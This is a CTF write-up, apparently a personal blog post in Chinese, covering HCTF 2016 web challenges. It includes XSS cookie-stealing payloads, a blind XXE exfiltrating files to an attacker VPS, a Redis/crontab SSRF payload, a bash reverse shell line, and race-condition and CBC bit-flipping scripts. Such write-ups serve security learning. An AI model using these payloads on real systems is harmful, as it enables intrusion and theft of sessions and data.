HCTF2016 Web WP

Posted by Xiaoxi on November 29, 2016

HCTF-2016 WP

1. 2099的flag

only ios99 can get flag(Maybe you can easily get the flag in 2099 http://2099.hctf.io/ 修改一下http报头,user agent改成: User-Agent: mozilla/5.0 (iphone; cpu iphone os 99 like mac os x) applewebkit/537.51.1 (khtml, like gecko) 就可以了 flag不在html页面,在head头中

2. Restful

题目本身会由于ajax 自动请求一个GET数据包,依据题目意思(Restful和”Please me some more than <12450>!") ,构造一个PUT数据包,PUT /index.php/money/999999 就能看到flag

3. 兵者多诡

这题有文件包含,可以通过伪协议读到源码,如下 http://pics.hctf.io/home.php?fp=php://filter/read=convert.base64-encode/resource=home 看到代码以后,联想到SWPU的一个Web题,通过phar来绕过。即写一个一句话到php中,然后压缩成zip,最后通过phar调用。这里系统禁用了菜刀,所以自己写一个脚本去扫目录。 $dh=opendir(“../”);while (($file = readdir($dh)) !== false){echo $file.”
”;}
找到Th1s_1s_F1a9.php,然后读取出来 $str=file_get_contents(“../Th1s_1s_F1a9.php”);echo$str; 前端不显示,查看源码,即可得到flag

这里还有一种方法来绕过:zip://xxx.png%23shell

本来的思路是phar://xxx.png/shell

4.giligili

参考:

https://github.com/sternze/CTF_writeups/blob/master/sCTF/2016_Q1/obfuscat/readme.md

http://lorexxar.cn/2016/11/19/web2-giligili/

5.必须比香港记者还快

条件竞争 需要写python脚本 http://changelog.hctf.io/README.md能看到提示 扫目录得到readme.md,读一下知道这题是条件竞争漏洞,在权限降低之前登陆访问index就可以了。贴上脚本:

import time
import requests
import threading
from random import randint
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
for i in range(0xfffff):
time.sleep(0.1)
name = 'test123' + str(i)
data = {'username': name, 'password': name, 'gogogo':'\xE8\x8B\x9F\x21'}
def reg(name):
    r = requests.post( 'http://changelog.hctf.io/register.php', 
                       headers=headers, 
                       data=data)
def login(name):
    _h = dict(headers)
    r = requests.post( 'http://changelog.hctf.io/login.php', 
                       headers=_h, 
                       data=data)
    if  'You level is zero' not in r.content:
        print r.content
        exit()
threading.Thread(target=login, args=(name, )).start()
threading.Thread(target=reg,   args=(name, )).start()

6. guestbook

MD5:https://md5db.net/explore/634A

也可以本地爆破

#!/usr/bin/env python
# coding:utf-8
import hashlib
foo= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
string=''
need="ed65"
for i1 ,ch1 in enumerate(foo):
	for i2 ,ch2 in enumerate(foo):
		for i3 ,ch3 in enumerate(foo):
			for i4 ,ch4 in enumerate(foo):
				temp=ch1+ch2+ch3+ch4
				hash_md5 =(hashlib.md5(temp)).hexdigest()[0:4]
				if(hash_md5==need):
					print temp
					break

				

#<scrscriptipt>alert(document.cookie)</scrscriptipt>

爆破一下md5,msg输入

<scrscriptipt>window.open("http://xxx.xxx.xxx.xxx:8080/cookie.asp?msg="+document.body)</scrscriptipt>,

得到一个新的页面和管理员cookie: admin_lorexxar.php, admin=hctf2o16com30nag0gog0,带着cookie访问即可

7.Secret area

http://sguestbook.hctf.io/ 这题csp限制了http://sguestbook.hctf.io/static/

但是,在302的时候,没有限制CSP,所以这里会有问题http://sguestbook.hctf.io/static/redirect.php?u=/user.php

而且还能自由上传头像,所以我们可以把js代码当成头像上传,

构造一个js代码如下

function initRequest()
{
    var request = false;
    if(window.XMLHttpRequest) {         //FireFox
    request = new XMLHttpRequest();
    if (request.overrideMimeType) {
      request.overrideMimeType('text/xml');
    }
  }
  else if (window.ActiveXObject) {    //IE
    try {
      request = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        request = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (e) {}
    }
  }
  if (!request) {
    window.alert("Create request error!");
    return false;
  }
  return request;
}

var http_request;
function send(sendUrl,sendData)
{
  http_request = initRequest();
  http_request.onreadystatechange = ajax_call_back;

  http_request.open("POST", sendUrl,true);
  http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  http_request.send(sendData);

}

function ajax_call_back()
{
  if (http_request.readyState == 4) {
    if (http_request.status == 200) {
      var str = http_request.responseText;
      alert(str);
    }
    }
  }
var cookie = document.cookie
send('http://sguestbook.hctf.io/submit.php','to=usertest&message='+cookie)

然后,在留言板的地方发送一个信息给admin,信息内容如下

<scscriptript src=http://sguestbook.hctf.io/static/redirect.php?u=/upload/xxxxxx></scscriptript>

直接拿cookie,带cookie访问user.php,留言里有flag

7. 大图书馆的牧羊人、魔法禁书目录

(这部分完全参考火日大大的payload)

两道题原理基本相同

大图书馆的牧羊人有.git源码泄露,代码里key没改,所以其实直接encrypt一个admin就可以了,魔法禁书目录的key改掉了,所以还是规规矩矩用cbc字节翻转,随便改改以前的一个脚本,首先注册一个admink,得到cookie d3G1C1wd0-OA6dofOBFvwbm7NmS-rEb82ebSRuifm0I 然后

import base64 
c = 'd3G1C1wd0-OA6dofOBFvwbm7NmS-rEb82ebSRuifm0I'
user = c
u = user.replace("-", "+").replace("_", "/") 
u += "=" * (len(u) % 4)
print u
de = base64.b64decode(u) 
de2 = de[0]+de[1]+de[2]+de[3]+de[4]+ chr(ord(de[5]) ^ ord('k') ^ ord('\0'))+de[6:]
en = base64.b64encode(de2).replace("+", "-").replace("/", "_").replace("=", "")
print en 

得到新cookie d3G1C1xx0-OA6dofOBFvwbm7NmS-rEb82ebSRuifm0I,替换掉cookie,访问以下login.php让session[‘user’]的值更新为admin,然后访问manage.php 发现是一个上传,可以传zip,会自动解压,只要$files[‘type’]!==”application/epub+zip”,这个用burp修改就行

//upload
$files = isset($_FILES['file']) ? $_FILES['file'] : exit();
if($files['type']!=="application/epub+zip") {
  exit("Not Allow type!");
}


//extract
$file = new ZipArchive;
$epub_name = $files['tmp_name'];
$extracted_path = 'uploads/'.basename($files['name'],".epub")."/";
if ($file->open($epub_name) === TRUE){
  $file->extractTo($extracted_path);
  $file->close();
}

根据代码肯定是一个xxe http://rickgray.me/2015/06/08/xml-entity-attack-review.html 按上面的资料学习一发,锁定无回显的xxe 构造一个zip,META-INF目录下的container.xml,内容为

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM  "php://filter/convert.base64-encode/resource=flag.php">
				<!ENTITY % dtd SYSTEM "http://vps的ip/combine.dtd">
				%dtd;
				%send;
				]>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
   <rootfiles>
      <rootfile full-path="content.opf" media-type="application/oebps-package+xml"/>
      
   </rootfiles>
</container>

http://vps的ip/combine.dtd的内容为

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://vps的ip/?content=%file;'>">
%payload;

Upload zip,然后read.php访问他,看直接的vps的access.log 就可以看到flag过来了

8. Web选手的自我修养

根据/tmp目录,home目录分析,发现了一个OPcahe恶意文件分析工具,猜测后门在OPcahce里,直接搜索OPcache,以hctf与hctf的base64为特征,搜索 find /tmp -type f -name “*.bin” |xargs strings| grep aGN aGN0ZnswcGNBY2gzX2ZvMF9jUmFja30= 解码就是flag

9. AT field1,AT field2

考察SSRF技巧

  1. AT field1

    http://www.127.0.0.1.xip.io Base64 解码,搞定 参考:离别歌的博客 https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

  2. AT field2

    http://www.127.0.0.1.xip.io用burp扫后台,能发现README.md,发现了提示有nosql,有crontab,那基本就是redis和crontab写文件来得shell

    先用http://www.vps的ip.xip.io/发现useragent是python的urllib,猜测存在http头部注入,反正这个注入支持302跳转,用一个php来跳转 用http://www.vps的ip.xip.io/1.php来操作 1.php的代码

       <?php
       header('Location: http://xxxxx/');>
    

    https://phpinfo.me/2016/07/07/1275.html https://blog.chaitin.com/gopher-attack-surfaces/ 参考一下这两个ssrf的资料,最后一次试的payload,1.php为

    Php header('Location: http://redis%00%0d%0a3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a9%0d%0a%2464%0d%0a%0a%2f1%20%20%20%20%20*%20curl%20--data-urlencode%20%22%60ls%20%2f%60%22%20vps的ip%0a%0d%0aconfig%20set%20dir%20%2fvar%2fspool%2fcron%2f%0d%0aconfig%20set%20dbfilename%20firesun%0d%0asave%0d%0a:6379/'); ​

    提交http://www.vps的ip.xip.io/1.php,返回500 连curl都curl不出来 Bash反弹的payload丢了 不过都类似,改中间的代码就行 改为*/1 * * * * bash -i >& /dev/tcp/xxxxx/2333 0>&1 貌似中间的有长度限制,可以拿%20补到64,不过貌似也不行

10.你没走过的套路

给了一句话,那第一步先反弹一个shell回来方便操作(get请求的 参数是aklis)

Nmap全网 发现192.168.0.1,4,5,6,php-fpm运行在192.168.0.4 192.168.0.1开了nfs端口,用showmount -e 192.168.0.1可以看到存在共享/var/nfs, 由于没root权限,端口映射出来本地挂载,参考rr菊苣的文章 https://ricterz.me/posts/Mount%20NFS%20via%20Proxy?_=1480252069313 端口转发可以用http://www.freebuf.com/articles/system/12182.html这类的二进制来转发 /var/nfs里其实就一个default.conf,里面关键的地方

   location /static {
           alias /var/www/static/;
           autoindex on;
   }

所以访问http://xxxxx/static..等于访问/var/www/static/.. 192.168.0.1,5,6上运行着nginx,挨个测试,发现192.168.0.6有问题 直接访问 http://120.27.122.0/?aklis=echo%20system(%22curl%20192.168.0.6/static../%22); 得flag